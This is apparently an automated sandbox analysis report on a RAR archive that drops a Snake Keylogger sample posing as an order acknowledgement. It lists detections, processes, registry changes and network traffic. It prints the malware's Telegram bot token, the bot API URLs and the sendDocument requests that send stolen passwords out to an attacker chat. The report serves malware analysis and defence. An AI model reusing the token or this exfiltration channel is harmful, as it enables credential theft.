| File name: | 9ad7e23ff638bd036857705758a25950cd20a134437a9d32e8c1ad0749d1b541.rar |
| Full analysis: | https://app.any.run/tasks/f2c52c00-9073-4172-946c-53c049e76a69 |
| Verdict: | Malicious activity |
| Threats: | A keylogger is a type of spyware that infects a system and has the ability to record every keystroke made on the device. This lets attackers collect personal information of victims, which may include their online banking credentials, as well as personal conversations. The most widespread vector of attack leading to a keylogger infection begins with a phishing email or link. Keylogging is also often present in remote access trojans as part of an extended set of malicious tools. |
| Analysis date: | April 15, 2025, 18:26:23 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-rar |
| File info: | RAR archive data, v5 |
| MD5: | 975008D73517510E5654F77D86137EFC |
| SHA1: | C5203E51085A86510FAE770A3F9087B04986921F |
| SHA256: | 9AD7E23FF638BD036857705758A25950CD20A134437A9D32E8C1AD0749D1B541 |
| SSDEEP: | 49152:YZTZ8emOK6i3VaXEnLtdJauQGZonRR44pEupn2UveViJO6QwzReydLVKqrhK9GZP:MSNOKpdNaudM84aUn2DViO6QOResxKqF |
MALICIOUS
Actions looks like stealing of personal data
- InstallUtil.exe (PID: 4976)
Steals credentials from Web Browsers
- InstallUtil.exe (PID: 4976)
SNAKEKEYLOGGER has been detected (SURICATA)
- InstallUtil.exe (PID: 4976)
SUSPICIOUS
Reads security settings of Internet Explorer
- WinRAR.exe (PID: 6268)
Checks for external IP
- svchost.exe (PID: 2196)
- InstallUtil.exe (PID: 4976)
The process verifies whether the antivirus software is installed
- InstallUtil.exe (PID: 4976)
Process communicates with Telegram (possibly using it as an attacker's C2 server)
- InstallUtil.exe (PID: 4976)
Possible usage of Discord/Telegram API has been detected (YARA)
- InstallUtil.exe (PID: 4976)
INFO
Executable content was dropped or overwritten
- WinRAR.exe (PID: 6268)
Reads the computer name
- order acknowledgement.exe (PID: 1228)
- InstallUtil.exe (PID: 4976)
Checks supported languages
- order acknowledgement.exe (PID: 1228)
- InstallUtil.exe (PID: 4976)
Reads the machine GUID from the registry
- order acknowledgement.exe (PID: 1228)
- InstallUtil.exe (PID: 4976)
Manual execution by a user
- InstallUtil.exe (PID: 4976)
Disables trace logs
- InstallUtil.exe (PID: 4976)
Checks proxy server information
- InstallUtil.exe (PID: 4976)
Reads the software policy settings
- InstallUtil.exe (PID: 4976)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
ims-api
(PID) Process(4976) InstallUtil.exe
Telegram-Tokens (1)7955681740:AAHZKZS-0PYft7OYGzJTk9fIEe7ig9DCvoA
Telegram-Info-Links
7955681740:AAHZKZS-0PYft7OYGzJTk9fIEe7ig9DCvoA
Get info about bothttps://api.telegram.org/bot7955681740:AAHZKZS-0PYft7OYGzJTk9fIEe7ig9DCvoA/getMe
Get incoming updateshttps://api.telegram.org/bot7955681740:AAHZKZS-0PYft7OYGzJTk9fIEe7ig9DCvoA/getUpdates
Get webhookhttps://api.telegram.org/bot7955681740:AAHZKZS-0PYft7OYGzJTk9fIEe7ig9DCvoA/getWebhookInfo
Delete webhookhttps://api.telegram.org/bot7955681740:AAHZKZS-0PYft7OYGzJTk9fIEe7ig9DCvoA/deleteWebhook
Drop incoming updateshttps://api.telegram.org/bot7955681740:AAHZKZS-0PYft7OYGzJTk9fIEe7ig9DCvoA/deleteWebhook?drop_pending_updates=true
Telegram-Requests
Token7955681740:AAHZKZS-0PYft7OYGzJTk9fIEe7ig9DCvoA
End-PointsendDocument
Args
chat_id (1)7355061733
caption (1)admin / Passwords / 216.24.216.124
Token7955681740:AAHZKZS-0PYft7OYGzJTk9fIEe7ig9DCvoA
End-PointsendDocument
Args
chat_id (1)7355061733
caption (1)admin / Passwords / 216.24.216.124
Token7955681740:AAHZKZS-0PYft7OYGzJTk9fIEe7ig9DCvoA
End-PointsendDocument
Args
chat_id (1)7355061733
caption (1)admin / Passwords / 216.24.216.124 HTTP/1.1
Content-Type: multipart/form-data; boundary================8dd7c4b168f0050
Host: api.telegram.org
Content-Length: 1100
Connection: Keep-Alive
Token7955681740:AAHZKZS-0PYft7OYGzJTk9fIEe7ig9DCvoA
End-PointsendDocument
Args
chat_id (1)7355061733
caption (1)admin / Passwords / 216.24.216.124
Telegram-Responses
oktrue
result
message_id26530
from
id7955681740
is_bottrue
first_nameNova
usernameSofpebot
chat
id7355061733
first_nameMr Prime
typeprivate
date1744741610
document
file_nameUserdata.txt
mime_typetext/plain
file_idBQACAgQAAxkDAAJnomf-pOqaukKrPozrmza204IWZvgnAALeGQACuy74UwOaM4Hbs4M2NgQ
file_unique_idAgAD3hkAArsu-FM
file_size905
captionadmin / Passwords / 216.24.216.124
caption_entities
offset20
length14
typeurl
TRiD
| .rar | | | RAR compressed archive (v5.0) (61.5) |
|---|---|---|
| .rar | | | RAR compressed archive (gen) (38.4) |
EXIF
ZIP
| FileVersion: | RAR v5 |
|---|---|
| CompressedSize: | 1116419 |
| UncompressedSize: | 1280000 |
| OperatingSystem: | Win32 |
| ArchivedFileName: | order acknowledgement.exe |
Total processes
132
Monitored processes
6
Malicious processes
1
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1228 | "C:\Users\admin\AppData\Local\Temp\Rar$EXa6268.41595\order acknowledgement.exe" | C:\Users\admin\AppData\Local\Temp\Rar$EXa6268.41595\order acknowledgement.exe | — | WinRAR.exe | |||||||||||
User: admin Integrity Level: MEDIUM Description: Qjbmxczquy Exit code: 4294967295 Version: 1.0.8868.21601 Modules
| |||||||||||||||
| 2196 | C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s Dnscache | C:\Windows\System32\svchost.exe | services.exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Host Process for Windows Services Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4976 | "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: .NET Framework installation utility Version: 4.8.9037.0 built by: NET481REL1 Modules
ims-api(PID) Process(4976) InstallUtil.exe Telegram-Tokens (1)7955681740:AAHZKZS-0PYft7OYGzJTk9fIEe7ig9DCvoA Telegram-Info-Links 7955681740:AAHZKZS-0PYft7OYGzJTk9fIEe7ig9DCvoA Get info about bothttps://api.telegram.org/bot7955681740:AAHZKZS-0PYft7OYGzJTk9fIEe7ig9DCvoA/getMe Get incoming updateshttps://api.telegram.org/bot7955681740:AAHZKZS-0PYft7OYGzJTk9fIEe7ig9DCvoA/getUpdates Get webhookhttps://api.telegram.org/bot7955681740:AAHZKZS-0PYft7OYGzJTk9fIEe7ig9DCvoA/getWebhookInfo Delete webhookhttps://api.telegram.org/bot7955681740:AAHZKZS-0PYft7OYGzJTk9fIEe7ig9DCvoA/deleteWebhook Drop incoming updateshttps://api.telegram.org/bot7955681740:AAHZKZS-0PYft7OYGzJTk9fIEe7ig9DCvoA/deleteWebhook?drop_pending_updates=true Telegram-Requests Token7955681740:AAHZKZS-0PYft7OYGzJTk9fIEe7ig9DCvoA End-PointsendDocument Args chat_id (1)7355061733 caption (1)admin / Passwords / 216.24.216.124 Token7955681740:AAHZKZS-0PYft7OYGzJTk9fIEe7ig9DCvoA End-PointsendDocument Args chat_id (1)7355061733 caption (1)admin / Passwords / 216.24.216.124 Token7955681740:AAHZKZS-0PYft7OYGzJTk9fIEe7ig9DCvoA End-PointsendDocument Args chat_id (1)7355061733 caption (1)admin / Passwords / 216.24.216.124 HTTP/1.1
Content-Type: multipart/form-data; boundary================8dd7c4b168f0050
Host: api.telegram.org
Content-Length: 1100
Connection: Keep-Alive Token7955681740:AAHZKZS-0PYft7OYGzJTk9fIEe7ig9DCvoA End-PointsendDocument Args chat_id (1)7355061733 caption (1)admin / Passwords / 216.24.216.124 Telegram-Responses oktrue result message_id26530 from id7955681740 is_bottrue first_nameNova usernameSofpebot chat id7355061733 first_nameMr Prime typeprivate date1744741610 document file_nameUserdata.txt mime_typetext/plain file_idBQACAgQAAxkDAAJnomf-pOqaukKrPozrmza204IWZvgnAALeGQACuy74UwOaM4Hbs4M2NgQ file_unique_idAgAD3hkAArsu-FM file_size905 captionadmin / Passwords / 216.24.216.124 caption_entities offset20 length14 typeurl | |||||||||||||||
| 5352 | "C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEvent | C:\Windows\System32\slui.exe | — | SppExtComObj.Exe | |||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows Activation Client Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 5736 | C:\WINDOWS\system32\SppExtComObj.exe -Embedding | C:\Windows\System32\SppExtComObj.Exe | — | svchost.exe | |||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: KMS Connection Broker Version: 10.0.19041.3996 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6268 | "C:\Program Files\WinRAR\WinRAR.exe" C:\Users\admin\AppData\Local\Temp\9ad7e23ff638bd036857705758a25950cd20a134437a9d32e8c1ad0749d1b541.rar | C:\Program Files\WinRAR\WinRAR.exe | explorer.exe | ||||||||||||
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Version: 5.91.0 Modules
| |||||||||||||||
Total events
3 087
Read events
3 065
Write events
22
Delete events
0
Modification events
| (PID) Process: | (6268) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory |
| Operation: | write | Name: | 3 |
Value: C:\Users\admin\Desktop\preferences.zip | |||
| (PID) Process: | (6268) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory |
| Operation: | write | Name: | 2 |
Value: C:\Users\admin\Desktop\chromium_ext.zip | |||
| (PID) Process: | (6268) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory |
| Operation: | write | Name: | 1 |
Value: C:\Users\admin\Desktop\omni_23_10_2024_.zip | |||
| (PID) Process: | (6268) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory |
| Operation: | write | Name: | 0 |
Value: C:\Users\admin\AppData\Local\Temp\9ad7e23ff638bd036857705758a25950cd20a134437a9d32e8c1ad0749d1b541.rar | |||
| (PID) Process: | (6268) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | name |
Value: 120 | |||
| (PID) Process: | (6268) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | size |
Value: 80 | |||
| (PID) Process: | (6268) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | type |
Value: 120 | |||
| (PID) Process: | (6268) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | mtime |
Value: 100 | |||
| (PID) Process: | (4976) InstallUtil.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\InstallUtil_RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (4976) InstallUtil.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\InstallUtil_RASAPI32 |
| Operation: | write | Name: | EnableAutoFileTracing |
Value: 0 | |||
Executable files
1
Suspicious files
0
Text files
0
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 6268 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$EXa6268.41595\order acknowledgement.exe | executable | |
MD5:73B94DBDC012A4F05737B7E7F3C4087A | SHA256:C2B0E9FFBA919397A65722465C861D5B8C1D35D536C3ECD0C9A3B0F8034884D2 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
8
TCP/UDP connections
22
DNS requests
16
Threats
12
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
— | — | GET | 200 | 23.48.23.177:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
5496 | MoUsoCoreWorker.exe | GET | 200 | 23.48.23.177:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
6544 | svchost.exe | GET | 200 | 2.17.190.73:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
4976 | InstallUtil.exe | GET | 200 | 132.226.247.73:80 | http://checkip.dyndns.org/ | unknown | — | — | whitelisted |
4976 | InstallUtil.exe | GET | 200 | 132.226.247.73:80 | http://checkip.dyndns.org/ | unknown | — | — | whitelisted |
4976 | InstallUtil.exe | GET | 200 | 132.226.247.73:80 | http://checkip.dyndns.org/ | unknown | — | — | whitelisted |
5780 | SIHClient.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
5780 | SIHClient.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
— | — | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
2104 | svchost.exe | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
5496 | MoUsoCoreWorker.exe | 23.48.23.177:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
— | — | 23.48.23.177:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
2112 | svchost.exe | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
3216 | svchost.exe | 172.211.123.250:443 | client.wns.windows.com | MICROSOFT-CORP-MSN-AS-BLOCK | FR | whitelisted |
6544 | svchost.exe | 40.126.31.71:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
6544 | svchost.exe | 2.17.190.73:80 | ocsp.digicert.com | AKAMAI-AS | DE | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
google.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
settings-win.data.microsoft.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
checkip.dyndns.org |
| whitelisted |
reallyfreegeoip.org |
| malicious |
api.telegram.org |
| whitelisted |
slscr.update.microsoft.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
— | — | Device Retrieving External IP Address Detected | ET DYN_DNS External IP Lookup Domain in DNS Query (checkip .dyndns .org) |
— | — | Device Retrieving External IP Address Detected | ET INFO External IP Lookup - checkip.dyndns.org |
— | — | Device Retrieving External IP Address Detected | INFO [ANY.RUN] External IP Address Lookup Domain (reallyfreegeoip .org) |
— | — | Misc activity | ET INFO External IP Address Lookup Domain in DNS Lookup (reallyfreegeoip .org) |
— | — | Device Retrieving External IP Address Detected | ET INFO External IP Lookup - checkip.dyndns.org |
— | — | Device Retrieving External IP Address Detected | ET INFO 404/Snake/Matiex Keylogger Style External IP Check |
— | — | Misc activity | ET INFO External IP Lookup Service Domain (reallyfreegeoip .org) in TLS SNI |
— | — | Misc activity | SUSPICIOUS [ANY.RUN] Possible sending an external IP address to Telegram |
— | — | Device Retrieving External IP Address Detected | ET INFO External IP Lookup - checkip.dyndns.org |
— | — | Misc activity | ET HUNTING Observed Telegram API Domain (api .telegram .org in TLS SNI) |